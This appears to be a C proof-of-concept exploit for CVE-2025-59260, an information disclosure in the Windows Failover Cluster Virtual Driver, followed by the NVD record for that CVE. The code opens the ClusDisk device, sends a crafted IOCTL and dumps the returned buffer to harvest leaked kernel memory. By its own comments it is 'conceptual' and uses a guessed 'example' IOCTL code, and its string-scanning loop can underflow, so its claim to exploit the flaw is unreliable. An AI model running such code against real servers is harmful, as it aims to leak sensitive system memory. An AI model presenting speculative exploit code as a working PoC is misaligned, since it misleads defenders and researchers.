CVE-2025-59260

// CVE-2025-59260 - Microsoft Failover Cluster Virtual Driver Information Disclosure // PoC for local information disclosure vulnerability // Note: This is a conceptual PoC demonstrating the exploitation approach #include <windows.h> #include <stdio.h> #include <stdlib.h> // Device name for Microsoft Failover Cluster Virtual Driver #define CLUSDISK_DEVICE_PATH "\\\\.\\ClusDisk" // IOCTL code for cluster disk operations (example) #define IOCTL_CLUSDISK_GET_INFO CTL_CODE(FILE_DEVICE_DISK, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) int main(int argc, char* argv[]) { HANDLE hDevice = INVALID_HANDLE_VALUE; DWORD dwBytesReturned = 0; BOOL bResult = FALSE; // Buffer to receive potentially leaked sensitive information BYTE outputBuffer[4096] = {0}; printf("[*] CVE-2025-59260 PoC - Microsoft Failover Cluster Virtual Driver Info Disclosure\n"); printf("[*] Attempting to open cluster virtual driver device...\n"); // Step 1: Open a handle to the vulnerable driver hDevice = CreateFileA( CLUSDISK_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[*] Note: Requires local access with appropriate privileges\n"); return 1; } printf("[+] Device opened successfully\n"); // Step 2: Send crafted IOCTL request to trigger info disclosure // The vulnerability lies in improper handling of input/output buffers BYTE inputBuffer[256] = {0}; // Craft malicious input to trigger the vulnerable code path // This may cause the driver to return sensitive kernel memory contents *(DWORD*)inputBuffer = 0x00000001; // Operation type printf("[*] Sending crafted IOCTL request...\n"); bResult = DeviceIoControl( hDevice, IOCTL_CLUSDISK_GET_INFO, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &dwBytesReturned, NULL ); if (bResult) { printf("[+] IOCTL request completed. Bytes returned: %d\n", dwBytesReturned); printf("[+] Potential sensitive data leaked:\n"); // Dump the output buffer which may contain leaked sensitive information for (DWORD i = 0; i < dwBytesReturned && i < sizeof(outputBuffer); i++) { if (i % 16 == 0) printf("\n %04X: ", i); printf("%02X ", outputBuffer[i]); } printf("\n"); // Try to interpret leaked data printf("[*] Attempting to interpret leaked data as strings...\n"); for (DWORD i = 0; i < dwBytesReturned - 4; i++) { if (outputBuffer[i] >= 0x20 && outputBuffer[i] <= 0x7E && outputBuffer[i+1] >= 0x20 && outputBuffer[i+1] <= 0x7E && outputBuffer[i+2] >= 0x20 && outputBuffer[i+2] <= 0x7E && outputBuffer[i+3] >= 0x20 && outputBuffer[i+3] <= 0x7E) { printf(" Offset 0x%04X: ", i); for (DWORD j = i; j < dwBytesReturned && outputBuffer[j] >= 0x20 && outputBuffer[j] <= 0x7E; j++) { printf("%c", outputBuffer[j]); } printf("\n"); i += 3; } } } else { printf("[-] IOCTL request failed. Error: %d\n", GetLastError()); } // Cleanup CloseHandle(hDevice); printf("[*] PoC execution completed\n"); return 0; }

{"cve": {"id": "CVE-2025-59260", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:08.857", "lastModified": "2025-10-20T19:50:05.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Microsoft Failover Cluster Virtual Driver allows an authorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59260", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}